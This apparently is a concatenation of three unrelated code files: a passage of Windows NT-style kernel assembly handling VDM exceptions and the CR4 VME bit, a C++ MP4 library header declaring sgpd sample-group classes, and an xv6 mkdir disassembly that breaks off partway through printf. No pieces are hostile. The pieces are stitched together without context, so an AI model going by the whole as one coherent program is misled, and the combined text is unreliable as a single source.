pop edx
push ebp
push esp ; Pass current Esp to handler
push offset perr_fault ; Set Handler address
push PCR[PcExceptionList] ; Set next pointer
mov PCR[PcExceptionList],esp ; Link us on
mov edi,PCR[PcTeb]
mov edi,[edi].TbVdm
cmp edi, _MmUserProbeAddress
jb @f
mov edi, _MmUserProbeAddress
@@: mov edi,[edi].VtFaultTable
add edi,eax
cmp edi, _MmUserProbeAddress
jb @f
mov edi, _MmUserProbeAddress
@@: mov eax,[esi].RiEFlags ;WARNING 16 vs 32
test dword ptr [edi].VfFlags,VDM_INT_INT_GATE
pop PCR[PcExceptionList] ; Remove our exception handle
lea esp, [esp+8] ; clear stack
pop ebp
jz pe70
and eax,NOT (EFLAGS_INTERRUPT_MASK OR EFLAGS_TF_MASK)
push eax
xor ebx, ebx ; clear prefix flags
call SetVirtualBits
pop eax
pe70: push ecx
mov ecx,eax
call CheckVdmFlags
and ecx,NOT EFLAGS_TF_MASK
mov [esi].RiEFlags,ecx
pop ecx
mov eax,1 ; success
pe80: pop esi
pop edi
pop ebx
ret
peerr1: add esp, 8 ;throw away esp, ss
peerr: xor eax,eax
jmp pe80
PushException endp
perr1_fault proc
mov esp, [esp+8] ; (esp)-> ExceptionList
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
jmp peerr1
perr1_fault endp
perr_fault proc
mov esp, [esp+8] ; (esp)-> ExceptionList
pop PCR[PcExceptionList] ; Remove our exception handle
add esp, 8 ; clear stack
pop ebp
jmp peerr
perr_fault endp
_PAGE ends
_TEXT$00 SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:NOTHING, ES:NOTHING, SS:FLAT, FS:NOTHING, GS:NOTHING
;
; Non-pagable code
;
page ,132
subttl "Ipi worker for enabling Pentium extensions"
;++
;
; Routine Description:
;
; This routine sets or resets the VME bit in CR4 for each processor
;
; Arguments:
;
; [esp + 4] -- 1 if VME is to be set, 0 if it is to be reset
; Returns:
;
; 0
;
cPublicProc _Ki386VdmEnablePentiumExtentions, 1
Enable equ [ebp + 8]
push ebp
mov ebp,esp
;
; Insure we do not get an interrupt in here. We may
; be called at IPI_LEVEL - 1 by KiIpiGenericCall.
;
pushf
cli
; mov eax,cr4
db 0fh, 020h,0e0h
test Enable,1
je vepe20
or eax,CR4_VME
jmp vepe30
vepe20: and eax,NOT CR4_VME
; mov cr4,eax
vepe30: db 0fh,022h,0e0h
popf
xor eax,eax
mov esp,ebp
pop ebp
stdRET _Ki386VdmEnablePentiumExtentions
stdENDP _Ki386VdmEnablePentiumExtentions
_TEXT$00 ends
end
|
#pragma once
#include <cstdint>
#include <istream>
#include <string>
#include <vector>
#include "shiguredo/mp4/box.hpp"
#include "shiguredo/mp4/box_type.hpp"
#include "shiguredo/mp4/grouping_type.hpp"
namespace shiguredo::mp4::bitio {
class Reader;
class Writer;
} // namespace shiguredo::mp4::bitio
namespace shiguredo::mp4::box {
struct RollDistanceParameters {
std::uint32_t description_length = 0;
std::int16_t roll_distance;
};
class RollDistance {
public:
RollDistance() = default;
explicit RollDistance(const RollDistanceParameters&);
std::string toString() const;
std::uint64_t writeData(bitio::Writer*) const;
std::uint64_t getSize() const;
std::uint64_t readData(bitio::Reader*, const bool);
private:
std::uint32_t m_description_length;
std::int16_t m_roll_distance;
bool m_with_length = false;
};
struct AlternativeStartupEntryOptParameters {
const std::uint16_t num_output_samples;
const std::uint16_t num_total_samples;
};
class AlternativeStartupEntryOpt {
public:
AlternativeStartupEntryOpt() = default;
explicit AlternativeStartupEntryOpt(const AlternativeStartupEntryOptParameters&);
std::string toString() const;
std::uint64_t writeData(bitio::Writer*) const;
std::uint64_t readData(bitio::Reader*);
private:
std::uint16_t m_num_output_samples;
std::uint16_t m_num_total_samples;
};
struct AlternativeStartupEntryParameters {
const std::uint32_t description_length = 0;
const std::uint16_t roll_count;
const std::uint16_t first_output_sample;
const std::vector<std::uint32_t> sample_offsets;
const std::vector<AlternativeStartupEntryOpt> opts = {};
};
class AlternativeStartupEntry {
public:
AlternativeStartupEntry() = default;
explicit AlternativeStartupEntry(const AlternativeStartupEntryParameters&);
std::string toString() const;
std::uint64_t writeData(bitio::Writer*) const;
std::uint64_t getSize() const;
std::uint64_t readData(bitio::Reader*, const std::uint32_t, const bool);
private:
std::uint32_t m_description_length;
bool m_with_length = false;
std::uint16_t m_roll_count;
std::uint16_t m_first_output_sample;
std::vector<std::uint32_t> m_sample_offsets;
std::vector<AlternativeStartupEntryOpt> m_opts;
};
struct VisualRandomAccessEntryParameters {
const std::uint32_t description_length = 0;
const bool num_leading_samples_known;
const std::uint8_t num_leading_samples;
};
class VisualRandomAccessEntry {
public:
VisualRandomAccessEntry() = default;
explicit VisualRandomAccessEntry(const VisualRandomAccessEntryParameters&);
std::string toString() const;
std::uint64_t writeData(bitio::Writer*) const;
std::uint64_t getSize() const;
std::uint64_t readData(bitio::Reader*, const bool);
private:
std::uint32_t m_description_length;
bool m_num_leading_samples_known;
std::uint8_t m_num_leading_samples;
bool m_with_length = false;
};
struct TemporalLevelEntryParameters {
std::uint32_t description_length = 0;
bool level_independently_decodable;
};
class TemporalLevelEntry {
public:
TemporalLevelEntry() = default;
explicit TemporalLevelEntry(const TemporalLevelEntryParameters&);
std::string toString() const;
std::uint64_t writeData(bitio::Writer*) const;
std::uint64_t getSize() const;
std::uint64_t readData(bitio::Reader*, const bool);
private:
std::uint32_t m_description_length;
bool m_level_independently_decodable;
std::uint8_t m_reserved = 0;
bool m_with_length = false;
};
struct SgpdParameters {
const std::uint8_t version = 1;
const std::uint32_t flags = 0x000000;
const GroupingType grouping_type = GroupingTypeRoll;
const std::uint32_t default_length = 2;
const std::uint32_t default_sample_description_index = 0;
const std::vector<RollDistance> roll_distances = {};
const std::vector<AlternativeStartupEntry> alternative_startup_entries = {};
const std::vector<VisualRandomAccessEntry> visual_random_access_entries = {};
const std::vector<TemporalLevelEntry> temporal_level_entries = {};
};
BoxType box_type_sgpd();
class Sgpd : public FullBox {
public:
Sgpd();
explicit Sgpd(const SgpdParameters&);
std::string toStringOnlyData() const override;
std::uint64_t writeData(std::ostream&) const override;
std::uint64_t getDataSize() const override;
std::uint64_t readData(std::istream&) override;
private:
GroupingType m_grouping_type;
std::uint32_t m_default_length;
std::uint32_t m_default_sample_description_index;
std::vector<RollDistance> m_roll_distances;
std::vector<AlternativeStartupEntry> m_alternative_startup_entries;
std::vector<VisualRandomAccessEntry> m_visual_random_access_entries;
std::vector<TemporalLevelEntry> m_temporal_level_entries;
bool noDefaultLength() const;
};
} // namespace shiguredo::mp4::box
|
_mkdir: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: f3 0f 1e fb endbr32
4: 8d 4c 24 04 lea 0x4(%esp),%ecx
8: 83 e4 f0 and $0xfffffff0,%esp
b: ff 71 fc pushl -0x4(%ecx)
e: 55 push %ebp
f: 89 e5 mov %esp,%ebp
11: 57 push %edi
12: bf 01 00 00 00 mov $0x1,%edi
17: 56 push %esi
18: 53 push %ebx
19: 51 push %ecx
1a: 83 ec 08 sub $0x8,%esp
1d: 8b 59 04 mov 0x4(%ecx),%ebx
20: 8b 31 mov (%ecx),%esi
22: 83 c3 04 add $0x4,%ebx
int i;
if(argc < 2){
25: 83 fe 01 cmp $0x1,%esi
28: 7e 3a jle 64 <main+0x64>
2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(2, "Usage: mkdir files...\n");
exit();
}
for(i = 1; i < argc; i++){
if(mkdir(argv[i]) < 0){
30: 83 ec 0c sub $0xc,%esp
33: ff 33 pushl (%ebx)
35: e8 11 03 00 00 call 34b <mkdir>
3a: 83 c4 10 add $0x10,%esp
3d: 85 c0 test %eax,%eax
3f: 78 0f js 50 <main+0x50>
for(i = 1; i < argc; i++){
41: 83 c7 01 add $0x1,%edi
44: 83 c3 04 add $0x4,%ebx
47: 39 fe cmp %edi,%esi
49: 75 e5 jne 30 <main+0x30>
printf(2, "mkdir: %s failed to create\n", argv[i]);
break;
}
}
exit();
4b: e8 93 02 00 00 call 2e3 <exit>
printf(2, "mkdir: %s failed to create\n", argv[i]);
50: 50 push %eax
51: ff 33 pushl (%ebx)
53: 68 2f 08 00 00 push $0x82f
58: 6a 02 push $0x2
5a: e8 51 04 00 00 call 4b0 <printf>
break;
5f: 83 c4 10 add $0x10,%esp
62: eb e7 jmp 4b <main+0x4b>
printf(2, "Usage: mkdir files...\n");
64: 52 push %edx
65: 52 push %edx
66: 68 18 08 00 00 push $0x818
6b: 6a 02 push $0x2
6d: e8 3e 04 00 00 call 4b0 <printf>
exit();
72: e8 6c 02 00 00 call 2e3 <exit>
77: 66 90 xchg %ax,%ax
79: 66 90 xchg %ax,%ax
7b: 66 90 xchg %ax,%ax
7d: 66 90 xchg %ax,%ax
7f: 90 nop
00000080 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
80: f3 0f 1e fb endbr32
84: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
85: 31 c0 xor %eax,%eax
{
87: 89 e5 mov %esp,%ebp
89: 53 push %ebx
8a: 8b 4d 08 mov 0x8(%ebp),%ecx
8d: 8b 5d 0c mov 0xc(%ebp),%ebx
while((*s++ = *t++) != 0)
90: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
94: 88 14 01 mov %dl,(%ecx,%eax,1)
97: 83 c0 01 add $0x1,%eax
9a: 84 d2 test %dl,%dl
9c: 75 f2 jne 90 <strcpy+0x10>
;
return os;
}
9e: 89 c8 mov %ecx,%eax
a0: 5b pop %ebx
a1: 5d pop %ebp
a2: c3 ret
a3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000000b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b0: f3 0f 1e fb endbr32
b4: 55 push %ebp
b5: 89 e5 mov %esp,%ebp
b7: 53 push %ebx
b8: 8b 4d 08 mov 0x8(%ebp),%ecx
bb: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
be: 0f b6 01 movzbl (%ecx),%eax
c1: 0f b6 1a movzbl (%edx),%ebx
c4: 84 c0 test %al,%al
c6: 75 19 jne e1 <strcmp+0x31>
c8: eb 26 jmp f0 <strcmp+0x40>
ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
d0: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
d4: 83 c1 01 add $0x1,%ecx
d7: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
da: 0f b6 1a movzbl (%edx),%ebx
dd: 84 c0 test %al,%al
df: 74 0f je f0 <strcmp+0x40>
e1: 38 d8 cmp %bl,%al
e3: 74 eb je d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
e5: 29 d8 sub %ebx,%eax
}
e7: 5b pop %ebx
e8: 5d pop %ebp
e9: c3 ret
ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
f2: 29 d8 sub %ebx,%eax
}
f4: 5b pop %ebx
f5: 5d pop %ebp
f6: c3 ret
f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fe: 66 90 xchg %ax,%ax
00000100 <strlen>:
uint
strlen(const char *s)
{
100: f3 0f 1e fb endbr32
104: 55 push %ebp
105: 89 e5 mov %esp,%ebp
107: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
10a: 80 3a 00 cmpb $0x0,(%edx)
10d: 74 21 je 130 <strlen+0x30>
10f: 31 c0 xor %eax,%eax
111: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
118: 83 c0 01 add $0x1,%eax
11b: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
11f: 89 c1 mov %eax,%ecx
121: 75 f5 jne 118 <strlen+0x18>
;
return n;
}
123: 89 c8 mov %ecx,%eax
125: 5d pop %ebp
126: c3 ret
127: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
12e: 66 90 xchg %ax,%ax
for(n = 0; s[n]; n++)
130: 31 c9 xor %ecx,%ecx
}
132: 5d pop %ebp
133: 89 c8 mov %ecx,%eax
135: c3 ret
136: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
13d: 8d 76 00 lea 0x0(%esi),%esi
00000140 <memset>:
void*
memset(void *dst, int c, uint n)
{
140: f3 0f 1e fb endbr32
144: 55 push %ebp
145: 89 e5 mov %esp,%ebp
147: 57 push %edi
148: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
14b: 8b 4d 10 mov 0x10(%ebp),%ecx
14e: 8b 45 0c mov 0xc(%ebp),%eax
151: 89 d7 mov %edx,%edi
153: fc cld
154: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
156: 89 d0 mov %edx,%eax
158: 5f pop %edi
159: 5d pop %ebp
15a: c3 ret
15b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
15f: 90 nop
00000160 <strchr>:
char*
strchr(const char *s, char c)
{
160: f3 0f 1e fb endbr32
164: 55 push %ebp
165: 89 e5 mov %esp,%ebp
167: 8b 45 08 mov 0x8(%ebp),%eax
16a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
16e: 0f b6 10 movzbl (%eax),%edx
171: 84 d2 test %dl,%dl
173: 75 16 jne 18b <strchr+0x2b>
175: eb 21 jmp 198 <strchr+0x38>
177: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
17e: 66 90 xchg %ax,%ax
180: 0f b6 50 01 movzbl 0x1(%eax),%edx
184: 83 c0 01 add $0x1,%eax
187: 84 d2 test %dl,%dl
189: 74 0d je 198 <strchr+0x38>
if(*s == c)
18b: 38 d1 cmp %dl,%cl
18d: 75 f1 jne 180 <strchr+0x20>
return (char*)s;
return 0;
}
18f: 5d pop %ebp
190: c3 ret
191: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
198: 31 c0 xor %eax,%eax
}
19a: 5d pop %ebp
19b: c3 ret
19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000001a0 <gets>:
char*
gets(char *buf, int max)
{
1a0: f3 0f 1e fb endbr32
1a4: 55 push %ebp
1a5: 89 e5 mov %esp,%ebp
1a7: 57 push %edi
1a8: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
1a9: 31 f6 xor %esi,%esi
{
1ab: 53 push %ebx
1ac: 89 f3 mov %esi,%ebx
1ae: 83 ec 1c sub $0x1c,%esp
1b1: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1b4: eb 33 jmp 1e9 <gets+0x49>
1b6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1bd: 8d 76 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1c0: 83 ec 04 sub $0x4,%esp
1c3: 8d 45 e7 lea -0x19(%ebp),%eax
1c6: 6a 01 push $0x1
1c8: 50 push %eax
1c9: 6a 00 push $0x0
1cb: e8 2b 01 00 00 call 2fb <read>
if(cc < 1)
1d0: 83 c4 10 add $0x10,%esp
1d3: 85 c0 test %eax,%eax
1d5: 7e 1c jle 1f3 <gets+0x53>
break;
buf[i++] = c;
1d7: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1db: 83 c7 01 add $0x1,%edi
1de: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1e1: 3c 0a cmp $0xa,%al
1e3: 74 23 je 208 <gets+0x68>
1e5: 3c 0d cmp $0xd,%al
1e7: 74 1f je 208 <gets+0x68>
for(i=0; i+1 < max; ){
1e9: 83 c3 01 add $0x1,%ebx
1ec: 89 fe mov %edi,%esi
1ee: 3b 5d 0c cmp 0xc(%ebp),%ebx
1f1: 7c cd jl 1c0 <gets+0x20>
1f3: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1f5: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1f8: c6 03 00 movb $0x0,(%ebx)
}
1fb: 8d 65 f4 lea -0xc(%ebp),%esp
1fe: 5b pop %ebx
1ff: 5e pop %esi
200: 5f pop %edi
201: 5d pop %ebp
202: c3 ret
203: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
207: 90 nop
208: 8b 75 08 mov 0x8(%ebp),%esi
20b: 8b 45 08 mov 0x8(%ebp),%eax
20e: 01 de add %ebx,%esi
210: 89 f3 mov %esi,%ebx
buf[i] = '\0';
212: c6 03 00 movb $0x0,(%ebx)
}
215: 8d 65 f4 lea -0xc(%ebp),%esp
218: 5b pop %ebx
219: 5e pop %esi
21a: 5f pop %edi
21b: 5d pop %ebp
21c: c3 ret
21d: 8d 76 00 lea 0x0(%esi),%esi
00000220 <stat>:
int
stat(const char *n, struct stat *st)
{
220: f3 0f 1e fb endbr32
224: 55 push %ebp
225: 89 e5 mov %esp,%ebp
227: 56 push %esi
228: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
229: 83 ec 08 sub $0x8,%esp
22c: 6a 00 push $0x0
22e: ff 75 08 pushl 0x8(%ebp)
231: e8 ed 00 00 00 call 323 <open>
if(fd < 0)
236: 83 c4 10 add $0x10,%esp
239: 85 c0 test %eax,%eax
23b: 78 2b js 268 <stat+0x48>
return -1;
r = fstat(fd, st);
23d: 83 ec 08 sub $0x8,%esp
240: ff 75 0c pushl 0xc(%ebp)
243: 89 c3 mov %eax,%ebx
245: 50 push %eax
246: e8 f0 00 00 00 call 33b <fstat>
close(fd);
24b: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
24e: 89 c6 mov %eax,%esi
close(fd);
250: e8 b6 00 00 00 call 30b <close>
return r;
255: 83 c4 10 add $0x10,%esp
}
258: 8d 65 f8 lea -0x8(%ebp),%esp
25b: 89 f0 mov %esi,%eax
25d: 5b pop %ebx
25e: 5e pop %esi
25f: 5d pop %ebp
260: c3 ret
261: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
268: be ff ff ff ff mov $0xffffffff,%esi
26d: eb e9 jmp 258 <stat+0x38>
26f: 90 nop
00000270 <atoi>:
int
atoi(const char *s)
{
270: f3 0f 1e fb endbr32
274: 55 push %ebp
275: 89 e5 mov %esp,%ebp
277: 53 push %ebx
278: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
27b: 0f be 02 movsbl (%edx),%eax
27e: 8d 48 d0 lea -0x30(%eax),%ecx
281: 80 f9 09 cmp $0x9,%cl
n = 0;
284: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
289: 77 1a ja 2a5 <atoi+0x35>
28b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
28f: 90 nop
n = n*10 + *s++ - '0';
290: 83 c2 01 add $0x1,%edx
293: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
296: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
29a: 0f be 02 movsbl (%edx),%eax
29d: 8d 58 d0 lea -0x30(%eax),%ebx
2a0: 80 fb 09 cmp $0x9,%bl
2a3: 76 eb jbe 290 <atoi+0x20>
return n;
}
2a5: 89 c8 mov %ecx,%eax
2a7: 5b pop %ebx
2a8: 5d pop %ebp
2a9: c3 ret
2aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000002b0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2b0: f3 0f 1e fb endbr32
2b4: 55 push %ebp
2b5: 89 e5 mov %esp,%ebp
2b7: 57 push %edi
2b8: 8b 45 10 mov 0x10(%ebp),%eax
2bb: 8b 55 08 mov 0x8(%ebp),%edx
2be: 56 push %esi
2bf: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2c2: 85 c0 test %eax,%eax
2c4: 7e 0f jle 2d5 <memmove+0x25>
2c6: 01 d0 add %edx,%eax
dst = vdst;
2c8: 89 d7 mov %edx,%edi
2ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*dst++ = *src++;
2d0: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
2d1: 39 f8 cmp %edi,%eax
2d3: 75 fb jne 2d0 <memmove+0x20>
return vdst;
}
2d5: 5e pop %esi
2d6: 89 d0 mov %edx,%eax
2d8: 5f pop %edi
2d9: 5d pop %ebp
2da: c3 ret
000002db <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2db: b8 01 00 00 00 mov $0x1,%eax
2e0: cd 40 int $0x40
2e2: c3 ret
000002e3 <exit>:
SYSCALL(exit)
2e3: b8 02 00 00 00 mov $0x2,%eax
2e8: cd 40 int $0x40
2ea: c3 ret
000002eb <wait>:
SYSCALL(wait)
2eb: b8 03 00 00 00 mov $0x3,%eax
2f0: cd 40 int $0x40
2f2: c3 ret
000002f3 <pipe>:
SYSCALL(pipe)
2f3: b8 04 00 00 00 mov $0x4,%eax
2f8: cd 40 int $0x40
2fa: c3 ret
000002fb <read>:
SYSCALL(read)
2fb: b8 05 00 00 00 mov $0x5,%eax
300: cd 40 int $0x40
302: c3 ret
00000303 <write>:
SYSCALL(write)
303: b8 10 00 00 00 mov $0x10,%eax
308: cd 40 int $0x40
30a: c3 ret
0000030b <close>:
SYSCALL(close)
30b: b8 15 00 00 00 mov $0x15,%eax
310: cd 40 int $0x40
312: c3 ret
00000313 <kill>:
SYSCALL(kill)
313: b8 06 00 00 00 mov $0x6,%eax
318: cd 40 int $0x40
31a: c3 ret
0000031b <exec>:
SYSCALL(exec)
31b: b8 07 00 00 00 mov $0x7,%eax
320: cd 40 int $0x40
322: c3 ret
00000323 <open>:
SYSCALL(open)
323: b8 0f 00 00 00 mov $0xf,%eax
328: cd 40 int $0x40
32a: c3 ret
0000032b <mknod>:
SYSCALL(mknod)
32b: b8 11 00 00 00 mov $0x11,%eax
330: cd 40 int $0x40
332: c3 ret
00000333 <unlink>:
SYSCALL(unlink)
333: b8 12 00 00 00 mov $0x12,%eax
338: cd 40 int $0x40
33a: c3 ret
0000033b <fstat>:
SYSCALL(fstat)
33b: b8 08 00 00 00 mov $0x8,%eax
340: cd 40 int $0x40
342: c3 ret
00000343 <link>:
SYSCALL(link)
343: b8 13 00 00 00 mov $0x13,%eax
348: cd 40 int $0x40
34a: c3 ret
0000034b <mkdir>:
SYSCALL(mkdir)
34b: b8 14 00 00 00 mov $0x14,%eax
350: cd 40 int $0x40
352: c3 ret
00000353 <chdir>:
SYSCALL(chdir)
353: b8 09 00 00 00 mov $0x9,%eax
358: cd 40 int $0x40
35a: c3 ret
0000035b <dup>:
SYSCALL(dup)
35b: b8 0a 00 00 00 mov $0xa,%eax
360: cd 40 int $0x40
362: c3 ret
00000363 <getpid>:
SYSCALL(getpid)
363: b8 0b 00 00 00 mov $0xb,%eax
368: cd 40 int $0x40
36a: c3 ret
0000036b <sbrk>:
SYSCALL(sbrk)
36b: b8 0c 00 00 00 mov $0xc,%eax
370: cd 40 int $0x40
372: c3 ret
00000373 <sleep>:
SYSCALL(sleep)
373: b8 0d 00 00 00 mov $0xd,%eax
378: cd 40 int $0x40
37a: c3 ret
0000037b <uptime>:
SYSCALL(uptime)
37b: b8 0e 00 00 00 mov $0xe,%eax
380: cd 40 int $0x40
382: c3 ret
00000383 <waitx>:
SYSCALL(waitx)
383: b8 16 00 00 00 mov $0x16,%eax
388: cd 40 int $0x40
38a: c3 ret
0000038b <set_priority>:
SYSCALL(set_priority)
38b: b8 18 00 00 00 mov $0x18,%eax
390: cd 40 int $0x40
392: c3 ret
00000393 <getpinfo>:
SYSCALL(getpinfo)
393: b8 17 00 00 00 mov $0x17,%eax
398: cd 40 int $0x40
39a: c3 ret
0000039b <year>:
SYSCALL(year)
39b: b8 19 00 00 00 mov $0x19,%eax
3a0: cd 40 int $0x40
3a2: c3 ret
000003a3 <halt>:
SYSCALL(halt)
3a3: b8 1a 00 00 00 mov $0x1a,%eax
3a8: cd 40 int $0x40
3aa: c3 ret
000003ab <date>:
SYSCALL(date)
3ab: b8 1b 00 00 00 mov $0x1b,%eax
3b0: cd 40 int $0x40
3b2: c3 ret
000003b3 <gettcount>:
SYSCALL(gettcount)
3b3: b8 1d 00 00 00 mov $0x1d,%eax
3b8: cd 40 int $0x40
3ba: c3 ret
000003bb <getrcount>:
SYSCALL(getrcount)
3bb: b8 1c 00 00 00 mov $0x1c,%eax
3c0: cd 40 int $0x40
3c2: c3 ret
000003c3 <getwcount>:
SYSCALL(getwcount)
3c3: b8 1e 00 00 00 mov $0x1e,%eax
3c8: cd 40 int $0x40
3ca: c3 ret
000003cb <getwtcount>:
SYSCALL(getwtcount)
3cb: b8 1f 00 00 00 mov $0x1f,%eax
3d0: cd 40 int $0x40
3d2: c3 ret
000003d3 <getcltcount>:
SYSCALL(getcltcount)
3d3: b8 21 00 00 00 mov $0x21,%eax
3d8: cd 40 int $0x40
3da: c3 ret
000003db <getclcount>:
SYSCALL(getclcount)
3db: b8 20 00 00 00 mov $0x20,%eax
3e0: cd 40 int $0x40
3e2: c3 ret
000003e3 <getocount>:
SYSCALL(getocount)
3e3: b8 23 00 00 00 mov $0x23,%eax
3e8: cd 40 int $0x40
3ea: c3 ret
000003eb <getotcount>:
SYSCALL(getotcount)
3eb: b8 22 00 00 00 mov $0x22,%eax
3f0: cd 40 int $0x40
3f2: c3 ret
3f3: 66 90 xchg %ax,%ax
3f5: 66 90 xchg %ax,%ax
3f7: 66 90 xchg %ax,%ax
3f9: 66 90 xchg %ax,%ax
3fb: 66 90 xchg %ax,%ax
3fd: 66 90 xchg %ax,%ax
3ff: 90 nop
00000400 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 3c sub $0x3c,%esp
409: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
40c: 89 d1 mov %edx,%ecx
{
40e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
411: 85 d2 test %edx,%edx
413: 0f 89 7f 00 00 00 jns 498 <printint+0x98>
419: f6 45 08 01 testb $0x1,0x8(%ebp)
41d: 74 79 je 498 <printint+0x98>
neg = 1;
41f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
426: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
428: 31 db xor %ebx,%ebx
42a: 8d 75 d7 lea -0x29(%ebp),%esi
42d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
430: 89 c8 mov %ecx,%eax
432: 31 d2 xor %edx,%edx
434: 89 cf mov %ecx,%edi
436: f7 75 c4 divl -0x3c(%ebp)
439: 0f b6 92 54 08 00 00 movzbl 0x854(%edx),%edx
440: 89 45 c0 mov %eax,-0x40(%ebp)
443: 89 d8 mov %ebx,%eax
445: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
448: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
44b: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
44e: 39 7d c4 cmp %edi,-0x3c(%ebp)
451: 76 dd jbe 430 <printint+0x30>
if(neg)
453: 8b 4d bc mov -0x44(%ebp),%ecx
456: 85 c9 test %ecx,%ecx
458: 74 0c je 466 <printint+0x66>
buf[i++] = '-';
45a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
45f: 89 d8 mov %ebx,%eax
buf[i++] = '-';
461: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
466: 8b 7d b8 mov -0x48(%ebp),%edi
469: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
46d: eb 07 jmp 476 <printint+0x76>
46f: 90 nop
470: 0f b6 13 movzbl (%ebx),%edx
473: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
476: 83 ec 04 sub $0x4,%esp
479: 88 55 d7 mov %dl,-0x29(%ebp)
47c: 6a 01 push $0x1
47e: 56 push %esi
47f: 57 push %edi
480: e8 7e fe ff ff call 303 <write>
while(--i >= 0)
485: 83 c4 10 add $0x10,%esp
488: 39 de cmp %ebx,%esi
48a: 75 e4 jne 470 <printint+0x70>
putc(fd, buf[i]);
}
48c: 8d 65 f4 lea -0xc(%ebp),%esp
48f: 5b pop %ebx
490: 5e pop %esi
491: 5f pop %edi
492: 5d pop %ebp
493: c3 ret
494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
498: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
49f: eb 87 jmp 428 <printint+0x28>
4a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4a8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4af: 90 nop
000004b0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4b0: f3 0f 1e fb endbr32
4b4: 55 push %ebp
4b5: 89 e5 mov %esp,%ebp
4b7: 57 push %edi
4b8: 56 push %esi
4b9: 53 push %ebx
